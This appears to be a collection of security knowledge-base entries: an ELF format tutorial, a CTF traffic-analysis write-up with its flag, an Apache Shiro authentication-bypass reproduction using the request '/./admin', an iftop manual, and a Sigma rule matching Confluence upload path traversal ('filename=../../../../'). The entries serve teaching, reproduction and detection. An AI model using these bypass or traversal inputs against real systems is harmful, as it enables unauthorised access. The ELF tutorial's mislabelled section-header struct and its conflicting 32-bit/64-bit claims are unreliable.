- 可执行文件(Executable File) : 包含可以直接执行的程序，比如 Linux 下的 /bin/bash，Windows 下的 `.exe`
- 共享目标文件(Shared Object File) : 主要包含代码和数据，第一种用途可以与其它文件链接生成可重定位或者共享目标文件，再者直接链接到可执行文件，作为进程映象的一部分动态执行。常见的 Linux 下的 `.so`,Windows下的 `.dll`。
- 核心转储文件（Core Dump File）: 这个格式调试 bug 时很有用，进程意外终止时产生的，保留程序终止时进程的信息，Linux 下的 Core dump。
linux 下使用 file 命令来获取文件的格式
可执行文件
-
重定位文件
-
动态链接库
-
---
## ELF文件内部结构
ELF 文件的总体结构大概是这样的：
| ELF Header |
|-----------------------------------|
| \.text |
| \.data |
| \.bss |
| \.\.\. other section |
| Section header table |
| String Tables, Symbol Tables,\.\. |
- ELF 文件头位于最前端，它包含了整个文件的基本属性，如文件版本，目标机器型号，程序入口等等。
- .text 为代码段，也是反汇编处理的部分，他们是以机器码的形式存储，没有反汇编的过程基本不会有人读懂这些二进制代码的。
- .data 数据段，保存的那些已经初始化了的全局静态变量和局部静态变量。
- .bss 段，存放的是未初始化的全局变量和局部静态变量，这个很容易理解，因为在未初始化的情况下，我们单独用一个段来保存，可以不在一开始就分配空间，而是在最终连接成可执行文件的时候，再在 .bss 段分配空间。
- 其他段，还有一些可选的段，比如 .rodata 表示这里存储只读数据，.debug 表示调试信息等等，具体遇到可以查看相关文档。
- 自定义段，这一块是为了实现用户特殊功能而存在的段，方便扩展，比如我们使用全局变量或者函数之前加上 attribute(section('name')) 就可以吧变量或者函数放到以 name 作为段名的段中。
- 段表，Section Header Table ，是一个重要的部分，它描述了 ELF 文件包含的所有段的信息，比如每个段的段名，段长度，在文件中的偏移，读写权限和一些段的其他属性。
以简单的 ELF 目标文件作为举例
```c
vim cal.c
#include<stdio.h>
int global_var1 = 1;
int global_var2;
void func1(int i)
{
printf("%d\n", i);
}
int main()
{
static int a1 = 85;
static int a2;
int m = 9;
int n;
func1(a1+global_var1+m+n);
return 0;
}
```
```bash
gcc -c cal.c # 产生目标文件 cal.o
```
借助于 binutils 的工具 objdump 来查看目标文件内部结构
```bash
objdump -h cal.o # "-h"就是把ELF文件各个段的基本信息打印出来
Idx Name Size VMA LMA File off Algn
0 .text 00000064 00000000 00000000 00000034 2**0
CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
1 .data 00000008 00000000 00000000 00000098 2**2
CONTENTS, ALLOC, LOAD, DATA
2 .bss 00000004 00000000 00000000 000000a0 2**2
ALLOC
3 .rodata 00000004 00000000 00000000 000000a0 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .comment 00000035 00000000 00000000 000000a4 2**0
CONTENTS, READONLY
5 .note.GNU-stack 00000000 00000000 00000000 000000d9 2**0
CONTENTS, READONLY
6 .eh_frame 00000064 00000000 00000000 000000dc 2**2
CONTENTS, ALLOC, LOAD, RELOC, READONLY, DATA
```
-
程序源代码编译后的机器指令经常被放在代码段(Code Section)里，代码段常见的名字就是 .text 或者 .code,借助于 objdump 这个利器，我们可以进一步的分析代码段的内容，-s 可以将所有段的内容以十六进制的方式打印出来，-d 可以将所有包含的指令反汇编。
```bash
objdump -s -d cal.o # 把代码段的内容提取出来
cal.o: file format elf64-x86-64
Contents of section .text:
0000 5589e583 ec0883ec 08ff7508 68000000 U.........u.h...
0010 00e8fcff ffff83c4 1090c9c3 8d4c2404 .............L$.
0020 83e4f0ff 71fc5589 e55183ec 14c745f0 ....q.U..Q....E.
0030 09000000 8b150400 0000a100 00000001 ................
0040 c28b45f0 01c28b45 f401d083 ec0c50e8 ..E....E......P.
0050 fcffffff 83c410b8 00000000 8b4dfcc9 .............M..
0060 8d61fcc3 .a..
Contents of section .data:
0000 01000000 55000000 ....U...
Contents of section .rodata:
0000 25640a00 %d..
Contents of section .comment:
0000 00474343 3a202855 62756e74 7520352e .GCC: (Ubuntu 5.
0010 342e302d 36756275 6e747531 7e31362e 4.0-6ubuntu1~16.
0020 30342e32 2920352e 342e3020 32303136 04.2) 5.4.0 2016
0030 30363039 00 0609.
Contents of section .eh_frame:
0000 14000000 00000000 017a5200 017c0801 .........zR..|..
0010 1b0c0404 88010000 1c000000 1c000000 ................
0020 00000000 1c000000 00410e08 8502420d .........A....B.
0030 0558c50c 04040000 28000000 3c000000 .X......(...<...
0040 1c000000 48000000 00440c01 00471005 ....H....D...G..
0050 02750043 0f03757c 06750c01 0041c543 .u.C..u|.u...A.C
0060 0c040400 ....
Disassembly of section .text:
00000000 <func1>:
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 ec 08 sub $0x8,%esp
6: 83 ec 08 sub $0x8,%esp
9: ff 75 08 pushl 0x8(%ebp)
c: 68 00 00 00 00 push $0x0
11: e8 fc ff ff ff call 12 <func1+0x12>
16: 83 c4 10 add $0x10,%esp
19: 90 nop
1a: c9 leave
1b: c3 ret
0000001c <main>:
1c: 8d 4c 24 04 lea 0x4(%esp),%ecx
20: 83 e4 f0 and $0xfffffff0,%esp
23: ff 71 fc pushl -0x4(%ecx)
26: 55 push %ebp
27: 89 e5 mov %esp,%ebp
29: 51 push %ecx
2a: 83 ec 14 sub $0x14,%esp
2d: c7 45 f0 09 00 00 00 movl $0x9,-0x10(%ebp)
34: 8b 15 04 00 00 00 mov 0x4,%edx
3a: a1 00 00 00 00 mov 0x0,%eax
3f: 01 c2 add %eax,%edx
41: 8b 45 f0 mov -0x10(%ebp),%eax
44: 01 c2 add %eax,%edx
46: 8b 45 f4 mov -0xc(%ebp),%eax
49: 01 d0 add %edx,%eax
4b: 83 ec 0c sub $0xc,%esp
4e: 50 push %eax
4f: e8 fc ff ff ff call 50 <main+0x34>
54: 83 c4 10 add $0x10,%esp
57: b8 00 00 00 00 mov $0x0,%eax
5c: 8b 4d fc mov -0x4(%ebp),%ecx
5f: c9 leave
60: 8d 61 fc lea -0x4(%ecx),%esp
63: c3 ret
```
### 代码段( .text)
看开头一段 Contents of section .text 就是一十六进制打印出来的内容，最左列是偏移量， 看 0060 那行，只剩下 8d61fcc3，所以与对照上面一张图，.text 段的 size 是 0x64 字节。最右列是 .text 段的 ASCII 码格式，对照下面的反汇编结果，我们可以看到 cal.c 中的两个函数 func1() 和 main() 的指令。.text 的第一个字节 0x55 就是 func1() 函数的第一条 push %ebp 指令，最后一个 0xc3 是 main() 的最后一个指令 ret
### 数据段和只读数据段(.data & .rodata)
.data 段保存的是那些已经初始化的全局静态变量和局部静态变量。代码中的 global_var1 和 a1 都是这样的变量，每个变量4字节，所以. data 段的大小为8个字节。
cal.c 在调用 printf 时，内部包含一个字符串常量"%d\n"用来定义格式化输出，它是一种只读数据，所以保存在 .rodata 段，我们可以看图中 .rodata 段大小为4字节，内容为 25640a00,翻译回来就是"%d\n"
.rodata 段存放的是只读数据，一般程序里面存在只读变量和字符串常量这两种只读类型，单独设置 .rodata 段有很多好处，支持了 C 里面的关键字 const, 而且操作系统加载程序时自动将只读变量加载到只读存储区，或者映射成只读，这样任何修改操作都会被认为非法操作，保证了程序的安全性。
### BSS段(.bss)
.bss 段存放的是未初始化的全局变量和局部静态变量。上面代码中的 global_var2 和 a2 就被存放在 .bss 段。其实只能说 .bss 段为他们预留了空间，实际上该段大小只有4个字节，而这两个变量应该占用8个字节。
其实我们可以通过符号表看到，只有 a2 被放到了 .bss 段，global_var2 却没有放到任何段，只是一个未定义的“COMMON”符号。其实这与不同的语言和不同的编译器实现有关，有的编译器不把未定义的全局变量放到 .bss 段，只是保留一个符号，直到链接成可执行文件时才在 .bss 段分配空间。
有个小例子：
```c
static int x1 = 0;
static int x2 = 1;
```
x1和x2会被放在什么段呢？
答案是 x1 被放在 .bss 段 ，而 x2 被放在 .data 段。原因在于 x1 被初始化为 0，相当于没有被初始化，未初始化的都是 0，所以这里编译器会把 x1 优化掉，放在 .bss 段，因为 .bss 不占磁盘空间。x2 正常的初始化，所以被放到 .data 段。
### 其它段
除了以上各段，ELF 文件也包含其它段。下表列举了一些常见的段。
| 常用的段名 | 说明 |
| - | - |
| .rodata1 | Read Only Data,这种段里存放的是只读数据，比如字符串常量，全局 const 变量，和".rodata"一样 |
| .comment | 存放的是编译器版本信息，比如字符串："GCC:(GUN)4.2.0" |
| .debug | 调试信息 |
| .dynamic | 动态链接信息 |
| .hash | 符号哈希表 |
| .line | 调试时的行号表，即源代码行号和编译后指令的对应表 |
| .note | 额外的编译器信息。比如程序的公司名，发布版本号 |
| .strtab | String Table 字符串表，用于存储 ELF 文件中用到的各种字符串 |
| .symtab | Symbol Table 符号表 |
| .shstrtab | Section String Table 段名表 |
| ,plt .got | 动态链接的跳转表和全局入口表 |
| .init .finit | 程序初始化与终结代码段 |
这些段的名字都是“.”作为前缀，一般系统定义的都是"."开头，如果自己定义的段名则不要以"."开头，容易与系统保留的产生冲突，如果你打开目标文件的段名还有其它一些格式，也许都是以前系统曾经用过的，历史遗留问题。
我们也可以自定义段，GCC提供一个扩展机制可以让我们指定变量所处的段：
```c
__attribute__((section("FOO"))) int global = 42;
__attribute__((section("BAR"))) void foo()
```
在全局变量或者函数前加上 attribute((section("name"))) 属性就可以把相应的变量和函数放到以“name”作为段名的段中。
---
## ELF文件头
位于所有段前面的就是文件头。我们可以使用 readelf 命令来查看
```
readelf -h cal.o
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: REL (Relocatable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x0
Start of program headers: 0 (bytes into file)
Start of section headers: 1032 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 0 (bytes)
Number of program headers: 0
Size of section headers: 64 (bytes)
Number of section headers: 13
Section header string table index: 12
```
从上面的输出结果可以看到，ELF的文件头中定义了 ELF 魔数，文件数据存储方式，版本，运行平台，ABI 版本，系统架构，硬件平台，入口地址，程序头入口和长度，段表的位置和长度，段的数量等等。
ELF 文件头结构和相关常数一般被定义在 "/usr/include/elf.h" 里，分为 32 位和 64 位版本。我们测试的机器是 32 位的，包含 "Elf32_Ehdr" 的数据结构来描述上述输出的 ELF 头。
```h
typedef struct
{
unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */
Elf32_Half e_type; /* Object file type */
Elf32_Half e_machine; /* Architecture */
Elf32_Word e_version; /* Object file version */
Elf32_Addr e_entry; /* Entry point virtual address */
Elf32_Off e_phoff; /* Program header table file offset */
Elf32_Off e_shoff; /* Section header table file offset */
Elf32_Word e_flags; /* Processor-specific flags */
Elf32_Half e_ehsize; /* ELF header size in bytes */
Elf32_Half e_phentsize; /* Program header table entry size */
Elf32_Half e_phnum; /* Program header table entry count */
Elf32_Half e_shentsize; /* Section header table entry size */
Elf32_Half e_shnum; /* Section header table entry count */
Elf32_Half e_shstrndx; /* Section header string table index */
} Elf32_Ehdr;
```
除了第一个，其他都是一一对应的, e_ident 这个成员数组对应了 Magic number, Class, Data, Version, OS/ABI, ABI version 这几个参数，剩下的都一一对应。
**ELF Magic**
从上面的 readelf 的输出可以看到，Magic 有16个字节，对应着 Elf32_Ehdr 的 e_ident 这个成员。这个属性被用来标识 ELF 文件的平台属性。
```
Magic： 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
```
最开始的 4 个字节： 所有 ELF 文件共有的标识码,"0x7F"、"0x45"、"0x4c"、"0x46",其中，"0x7F"对应 ASCII 中的 DEL 控制符，后面三个是 ELF 三个字母的 ASCII 码。这 4 个字节又被称为 ELF 文件的魔数。
基本所有可执行文件开始的几个字节都是魔数：
- a.out: 0x01、0x07
- PE/COFF: 0x4d,0x5a
这些魔数被操作系统用来确认可执行文件的类型，如果不对就拒绝加载。
- 第 5 个字节： 表示 ELF 的文件类，0x01 代表是 32 位的，如果是 0x02 则表示 64 位，
- 第 6 个字节： 规定字节序，规定该 ELF 是大端还是小端的
- 第 7 个字节： 规定 ELF 文件的主版本号，一般都是 1，因为没有更新过了。
- 后面的 9 个字节：都填充为 0， 一般没意义，有的平台用来做扩展标识。
**类型**
e_type 成员用来表示 ELF 文件类型，系统通过这个值来判断文件类型，而不是扩展名。
| 常量 | 值 | 含义 |
| - | - | - |
| ET_REL | 1 | 可重定位文件，一般是 `.o` 文件 |
| ET_EXEC | 2 | 可执行文件 |
| ET_DYN | 3 | 共享目标文件，一般为 `.so` |
**机器类型**
ELF 文件格式被设计成在多平台下使用，和 java 不同，ELF 文件不能一次编译处处使用，而是说不同平台下的 ELF 文件都遵循一套 ELF 标准。用 e_machine 成员表示平台属性。
| 常量 | 值 | 含义 |
| - | - | - |
| EM_M32 | 1 | AT&T WE32100 |
| EM_SPARK | 2 | SPARC |
| EM_386 | 3 | Intel x86 |
| EM_68K | 4 | Motorola 68000 |
| EM_88K | 5 | Motorala 88000 |
| EM_860 | 6 | Intel 80860 |
**段表**
另一个重要的东西是段表(Section Header Table) ,保存了各种各样段的基本属性，比如段名，段长度，文件中的偏移，读写权限，段的其他属性。而段表自己在 ELF 文件中的位置是在 ELF 头文件 e_shoff 决定的。
我们可以使用一些命令来查看 ELF 文件中包含哪些段，以 bash 这个可执行为例，其实除了我们之前说的那些基本结构，他包含很多其他的结构：
```bash
readelf -S /bin/bash
objdump -h /bin/bash
```
下面看一下结构，还是到 elf.h 中去查看，他的结构体名字叫 Elf32_Shdr，64位对应 Elf64_Shdr,结构如下：
```h
typedef struct
{
unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */
Elf32_Half e_type; /* Object file type */
Elf32_Half e_machine; /* Architecture */
Elf32_Word e_version; /* Object file version */
Elf32_Addr e_entry; /* Entry point virtual address */
Elf32_Off e_phoff; /* Program header table file offset */
Elf32_Off e_shoff; /* Section header table file offset */
Elf32_Word e_flags; /* Processor-specific flags */
Elf32_Half e_ehsize; /* ELF header size in bytes */
Elf32_Half e_phentsize; /* Program header table entry size */
Elf32_Half e_phnum; /* Program header table entry count */
Elf32_Half e_shentsize; /* Section header table entry size */
Elf32_Half e_shnum; /* Section header table entry count */
Elf32_Half e_shstrndx; /* Section header string table index */
} Elf32_Ehdr;
typedef struct
{
unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */
Elf64_Half e_type; /* Object file type */
Elf64_Half e_machine; /* Architecture */
Elf64_Word e_version; /* Object file version */
Elf64_Addr e_entry; /* Entry point virtual address */
Elf64_Off e_phoff; /* Program header table file offset */
Elf64_Off e_shoff; /* Section header table file offset */
Elf64_Word e_flags; /* Processor-specific flags */
Elf64_Half e_ehsize; /* ELF header size in bytes */
Elf64_Half e_phentsize; /* Program header table entry size */
Elf64_Half e_phnum; /* Program header table entry count */
Elf64_Half e_shentsize; /* Section header table entry size */
Elf64_Half e_shnum; /* Section header table entry count */
Elf64_Half e_shstrndx; /* Section header string table index */
} Elf64_Ehdr;
```
以上结构中，分别对应于：
- 段名
- 段类型
- 段标志位
- 段虚拟地址
- 段偏移
- 段长度
- 段链接
- 段对齐
- 项，一些大小固定的项，如符号表等。
这些项目，在使用 readelf -S 指令时一一对应。
另外还有一个重要的表，叫重定位表，一般段名叫 .rel.text， 在上边没有出现，链接器在处理目标文件时，需要对目标文件中的某些部位进行重定位，就是代码段和数据段中那些对绝对地址引用的位置，这个时候就需要使用重定位表了。
### 字符串表
为什么会有字符串表呢？其实这个也是在不断发展改进中找到的解决办法，在 ELF 文件中，会用到很多的字符串，段名，变量名等等，但是字符串其本身又长度不固定，如果使用固定结构来表示，就会带来空间上的麻烦。所以，构造一个字符串表，将使用的字符串统一放在那里，然后通过偏移量来引用字符串，岂不美哉。
需要使用的时候，只需要给一个偏移量，然后就到字符串该位置找字符串，遇到 \0 就停止。
字符串在 ELF 文件中，也是以段的形式保存的，常见的段名 .strtab， .shstrtab 两个字符串分别为字符串表和段表字符串，前者用来保存普通的字符串，后者保存段名。
在我们使用 readelf -h 的时候，我们看到最后一个成员，section header string table index ，实际上他指的就是字符串表的下标，bash 对应的字符串表下标为 29，在使用 objdump 的时候，实际上忽略了字符串表，我们使用 readelf ，就可以看到第 29 位即字符串表：
下面我们回顾一下，这个 ELF 构造的精妙之处，当一个 ELF 文件到来的时候，系统自然的找到他的开头，拿到文件头，首先看魔数，识别基本信息，看是不是正确的，或者是可识别的文件，然后加载他的基本信息，包括 CPU 平台，版本号，段表的位置在哪，还可以拿到字符串表在哪，以及整个程序的入口地址。这一系列初始化信息拿到之后，程序可以通过字符串表定位，找到段名的字符串，通过段表的初始位置，确认每个段的位置，段名，长度等等信息，进而到达入口地址，准备执行。
当然，这只是最初始的内容，其后还要考虑链接，Import,Export 等等内容，留待以后完善。
---
## Source & Reference
- [深入理解ELF（一）](https://www.jianshu.com/p/1a65293d722e)
- [ELF&PE 文件结构分析](https://www.jianshu.com/p/af9766222816)
|
sec-knowleage
|
# Data Science 4
Category: Data Science, 300 points
## Description
See [Data Science 1](Data_Science_1.md).
## Solution:
We probably stumbled upon this flag in an unintended manner. We were looking for connections with a periodic callbacks to the external C&C, such as every 30 minutes, every 15 minutes, etc.
We tried the following query to get hosts that send an external request every minute:
```python
df[df['src_int'] & ~df['dst_int']]\
.drop_duplicates(['dst_ip', 'minute'])\
.groupby('dst_ip').size()\
.pipe(lambda x: x[(x == 60)])
```
Output
```
dst_ip
198.70.42.36 60
5.183.60.54 60
250.42.245.153 60
251.139.203.226 60
55.107.247.62 60
24.161.197.98 60
148.26.83.117 60
21.91.160.44 60
65.64.19.34 60
234.8.152.205 60
8.8.8.8 60
80.155.115.153 60
78.161.198.188 60
132.213.142.131 60
dtype: int64
```
We then plotted the result:
```python
import itertools
suspecious_ips = df[df['src_int'] & ~df['dst_int']]\
.drop_duplicates(['dst_ip', 'minute'])\
.groupby('dst_ip').size()\
.pipe(lambda x: x[(x == 60)])\
.index.tolist()
numl_cols = 4
num_rows = (len(suspecious_ips) // numl_cols) + 1
fig, axs = plt.subplots(ncols = numl_cols, nrows = num_rows, figsize=(20, 10))
fig.tight_layout(pad=6.0)
for ax, ip in zip(itertools.chain(*axs), suspecious_ips):
df[df['dst_ip']==ip]\
.set_index('timestamp')\
.resample('Min').size()\
.plot(title = ip, ax = ax)
```
The last three IPs seemed to have a suspicious pattern, with three bursts of requests per day. It wasn't the periodic callback pattern we were expecting, but seems worth chasing.
Let's get the internal hosts that talk to these IPs:
```python
df[(df.dst_ip.isin(['80.155.115.153', '78.161.198.188', '132.213.142.131']))].drop_duplicates('src_ip')["src_ip"]
```
Output:
```
503796 120.18.201.129
504115 120.18.2.84
515835 120.18.146.190
542064 120.18.216.16
567744 120.18.54.9
582629 120.18.102.12
623570 120.18.248.164
635570 120.18.123.205
647223 120.18.205.249
654354 120.18.138.14
658088 120.18.132.113
662042 120.18.188.217
666483 120.18.12.170
668357 120.18.202.49
689205 120.18.136.32
693631 120.18.219.23
717801 120.18.180.110
739725 120.18.240.47
747601 120.18.168.231
751304 120.18.36.143
757815 120.18.216.159
768456 120.18.184.225
771843 120.18.224.201
805606 120.18.102.141
817697 120.18.185.238
852189 120.18.162.99
Name: src_ip, dtype: category
Categories (5497, object): ['24.133.117.23', '138.62.106.170', '92.150.22.192', '209.69.254.129', ..., '173.119.192.16', '177.66.191.51', '178.195.62.138', '120.121.209.92']
```
Save as CSV:
```python
df[(df.dst_ip.isin(['80.155.115.153', '78.161.198.188', '132.213.142.131']))].drop_duplicates('src_ip')["src_ip"].to_csv("flag_d.csv", index = False, header = ["ip"])
```
Output:
```
ip
120.18.201.129
120.18.2.84
120.18.146.190
120.18.216.16
120.18.54.9
120.18.102.12
120.18.248.164
120.18.123.205
120.18.205.249
120.18.138.14
120.18.132.113
120.18.188.217
120.18.12.170
120.18.202.49
120.18.136.32
120.18.219.23
120.18.180.110
120.18.240.47
120.18.168.231
120.18.36.143
120.18.216.159
120.18.184.225
120.18.224.201
120.18.102.141
120.18.185.238
120.18.162.99
```
And we get the last flag:
```
Congratulations! You achieved the goal. Here is your flag:
flag{!#fdfsd^&dfsdsds*sds(sajh336}
```
|
sec-knowleage
|
# Apache Shiro Authentication Bypass Vulnerability (CVE-2010-3863)
Apache Shiro is a powerful and easy-to-use Java security framework that performs authentication, authorization, cryptography, and session management.
Apache Shiro before 1.1.0, and JSecurity 0.9.x, does not canonicalize URI paths before comparing them to entries in the shiro.ini file, which allows remote attackers to bypass intended access restrictions via a crafted request, as demonstrated by the `/./`, `/../`, `/`, `//` URI.
References:
- <https://github.com/apache/shiro/commit/ab8294940a19743583d91f0c7e29b405d197cc34>
- <https://xz.aliyun.com/t/11633#toc-2>
- <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3863>
## Vulnerable Environment
Start an application with Spring and Shiro 1.0.0 by executing the following command.
```
docker compose up -d
```
Once the environment is started, visit ``http://your-ip:8080`` to see the home page.
## Vulnerability Reproduce
A direct request to the admin page `/admin` is inaccessible and will be redirected to the login page.
Construct a malicious request `/./admin` to bypass authentication checks and access the admin page.
|
sec-knowleage
|
# REQUIRED: PyCrypto 2.6.1
# To install: pip install pycrypto
# Homepage: https://www.dlitz.net/software/pycrypto/
import argparse
import SocketServer
import socket
import time
import sys
import json
import logging
import sys
import os.path
import subprocess
import binascii
from io import BytesIO
from base64 import b64encode, b64decode
from struct import pack, unpack
from Crypto.Hash import SHA256
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger()
OOP_server = os.path.join(sys.path[0], "server", "server", "server");
def readNullTerminatedByteString(f):
buf = b''
while True:
if len(buf) > 1 << 20:
logger.warning("Overly long input string encountered")
raise Exception("Overly long input")
c = f.read(1)
if len(c) == 0:
logger.info("Unexpected end of stream encountered while reading a null-terminated string")
raise Exception("End of stream encountered")
if ord(c[0]) == 0: # Indicates NULL termination of a UTF-8 string.
break
buf += c
return buf
def readNullTerminatedString(f):
return unicode(readNullTerminatedByteString(f), encoding="utf-8", errors="strict")
def readBytes(f, nBytes):
result = f.read(nBytes)
if len(result) != nBytes:
logger.warning("Unexpected end of stream encountered while reading a null-terminated string")
raise Exception("End of stream encountered")
return result
def invokeOOPServer(message):
messageBase64 = b64encode(message);
oopServer = subprocess.Popen(
OOP_server,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
oopResult = oopServer.communicate(messageBase64)
response = oopResult[0]
testString = "STARTUP_SELF_TEST\x00"
if response[0:len(testString)] != testString:
error = "Out-of-process server is not working properly. Path to executable : %s" % OOP_server
logger.fatal(error)
raise Exception(error)
response = response[len(testString):]
return (oopServer.returncode, response)
class MyTCPHandler(SocketServer.StreamRequestHandler):
def __init__(self, *a, **k):
logger.info("Instantiating MyTCPHandler")
self._terminateConnection = False
SocketServer.StreamRequestHandler.__init__(self, *a, **k)
def handle(self):
logger.debug("In MyTCPHandler.handle")
try:
while not self._terminateConnection:
messageTypeByte = self.rfile.read(1)
if len(messageTypeByte) == 0:
# Client has disconnected.
logger.info("Client has disconnected")
self._terminateConnection = True
else:
messageType = ord(messageTypeByte)
if messageType == 0x01:
self._processMessage_LogonRequest_OOP()
elif messageType == 0x03:
self._processMessage_LogonResponse_OOP()
elif messageType == 0x06:
self._processMessage_Command_OOP()
else:
raise Exception("Unknown message type received")
except:
# All malformed requests caught here.
# Send AUTHX_FAILURE and terminate connection.
exceptionInfo = sys.exc_info()
try:
logger.info("Exception: %s", exceptionInfo[1])
self._sendMessage_AuthxFailure(terminateConnection = True)
except:
pass
raise exceptionInfo[0], exceptionInfo[1], exceptionInfo[2]
def _sendMessage_AuthxFailure(self, terminateConnection = False):
logger.info("Sending message: AUTHX_FAILURE")
self.wfile.write("\x05")
self.wfile.flush()
if terminateConnection:
logger.info("Connection will be terminated")
self._terminateConnection = True
def _processMessage_OOP(self, message):
logger.debug("Sending message to out-of-process server: " + binascii.hexlify(message))
returncode, response = invokeOOPServer(message)
if returncode != 0:
raise Exception("Out-of-process server failed to process the received message")
logger.debug("Response message produced by out-of-process server: " + binascii.hexlify(response))
self.wfile.write(response)
self.wfile.flush()
def _processMessage_LogonRequest_OOP(self):
logger.info("Processing LOGON_REQUEST message using out-of-process server")
userName = readNullTerminatedString(self.rfile)
message = b'\x01' + userName + '\0'
self._processMessage_OOP(message)
def _processMessage_LogonResponse_OOP(self):
logger.info("Processing LOGON_RESPONSE message using out-of-process server")
r = self._readBytes(SHA256.digest_size)
challengeCookie = readNullTerminatedByteString(self.rfile)
message = b'\x03' + r + challengeCookie + '\0'
self._processMessage_OOP(message)
def _processMessage_Command_OOP(self):
logger.info("Processing COMMAND message using out-of-process server")
ticket = readNullTerminatedString(self.rfile)
command = readNullTerminatedString(self.rfile)
message = b'\x06' + ticket + '\0' + command + '\0'
self._processMessage_OOP(message)
def _readBytes(self, nBytes):
result = self.rfile.read(nBytes)
if len(result) != nBytes:
raise Exception("Connection was closed")
return result
class MyThreadingTCPServer(SocketServer.ThreadingTCPServer):
def server_bind(self):
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.bind(self.server_address)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("--serverBindAddress", required=False, default="localhost")
parser.add_argument("port", type=int, nargs="?", default="9999")
args = parser.parse_args()
if not os.path.exists(OOP_server):
logger.fatal("Out-of-process binary not found: %s" % OOP_server)
sys.exit(-1)
# Start with a self-test of the out-of-process server
invokeOOPServer("")
server = MyThreadingTCPServer((args.serverBindAddress, args.port), MyTCPHandler)
try:
logger.warn("Listing on interface %s, port %d", args.serverBindAddress, args.port)
server.serve_forever()
except KeyboardInterrupt:
pass
logger.warn("")
logger.warn("Shutting down...")
server.shutdown()
logger.warn("Exiting")
|
sec-knowleage
|
iftop
===
一款实时流量监控工具
## 补充说明
**iftop命令** 是一款实时流量监控工具，监控TCP/IP连接等，缺点就是无报表功能。必须以root身份才能运行。
### 语法
```shell
iftop(选项)
```
### 选项
```shell
iftop: display bandwidth usage on an interface by host
Synopsis: iftop -h | [-npblNBP] [-i interface] [-f filter code]
[-F net/mask] [-G net6/mask6]
-h display this message
-n don't do hostname lookups
-N don't convert port numbers to services
-p run in promiscuous mode (show traffic between other
hosts on the same network segment)
-b don't display a bar graph of traffic
-B Display bandwidth in bytes
-i interface listen on named interface
-f filter code use filter code to select packets to count
(default: none, but only IP packets are counted)
-F net/mask show traffic flows in/out of IPv4 network
-G net6/mask6 show traffic flows in/out of IPv6 network
-l display and count link-local IPv6 traffic (default: off)
-P show ports as well as hosts
-m limit sets the upper limit for the bandwidth scale
-c config file specifies an alternative configuration file
-t use text interface without ncurses
Sorting orders:
-o 2s Sort by first column (2s traffic average)
-o 10s Sort by second column (10s traffic average) [default]
-o 40s Sort by third column (40s traffic average)
-o source Sort by source address
-o destination Sort by destination address
The following options are only available in combination with -t
-s num print one single text output afer num seconds, then quit
-L num number of lines to print
```
### 界面说明
> 第一行为带宽，这里为1Mbit,不是字节哦.
> 连接列表，最后三列分别是2秒，10秒和40秒的平均流量
> `=>` 代表发送
> `<=` 代表接收
> 最后三行表示发送，接收和全部的流量，
> 第二列为你运行iftop到目前流量，第三列为高峰值，第四列为平均值。
### 实例
```shell
iftop # 默认是监控第一块网卡的流量
iftop -i eth1 # 监控eth1
iftop -n # 直接显示IP, 不进行DNS反解析
iftop -N # 直接显示连接埠编号, 不显示服务名称
iftop -F 192.168.1.0/24 or 192.168.1.0/255.255.255.0 # 显示某个网段进出封包流量
```
|
sec-knowleage
|
# T1190-CVE-2019-3398 Confluence路径穿越漏洞
## 来自ATT&CK的描述
使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Confluence Server和Data Center在downloadallattachments资源中存在路径穿越漏洞。 在Page或Blogs具有添加附件权限的用户，或具有创建新空间或个人空间权限的用户，或对某空间具有“管理员”权限的用户可利用此路径穿越漏洞将文件写入任意位置。一定条件下可以执行任意代码。
漏洞影响范围：
2.0.0 <= version < 6.6.13
6.7.0 <= version < 6.12.4
6.13.0 <= version < 6.13.4
6.14.0 <= version < 6.14.3
6.15.0 <= version < 6.15.2
## 检测日志
HTTP.log
## 测试复现
漏洞利用建议参考：
（环境搭建+复现）CVE-2019-3398 Confluence路径穿越漏洞
<https://blog.csdn.net/qq_40989258/article/details/105274370>
## 测试留痕
暂无实测，故无留痕。直接引用漏洞利用建议参考中的案例数据进行特征提取。
## 检测规则/思路
### Sigma规则
建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。
```yml
title: Confluence_CVE-2019-3398漏洞利用行为检测
status: experimental
description: 检测CVE-2019-3398中描述的路径穿越漏洞的利用行为
references:
- https://devcentral.f5.com/s/articles/confluence-arbitrary-file-write-via-path-traversal-cve-2019-3398-34181
- https://blog.csdn.net/qq_40989258/article/details/105274370
author: Florian Roth
translator: 12306Bro
date: 2020/05/26
tags:
- attack.initial_access
- attack.t1190
logsource:
category: webserver
detection:
selection:
cs-method: 'POST'
c-uri|contains|all:
- '/upload.action'
- 'filename=../../../../'
condition: selection
fields:
- c-ip
- c-dns
falsepositives:
- Unknown
level: critical
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
（环境搭建+复现）CVE-2019-3398 Confluence路径穿越漏洞
